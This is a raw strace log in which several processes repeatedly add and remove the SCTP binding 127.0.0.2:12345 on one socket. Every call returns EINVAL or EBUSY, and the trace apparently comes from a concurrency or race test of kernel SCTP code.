[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
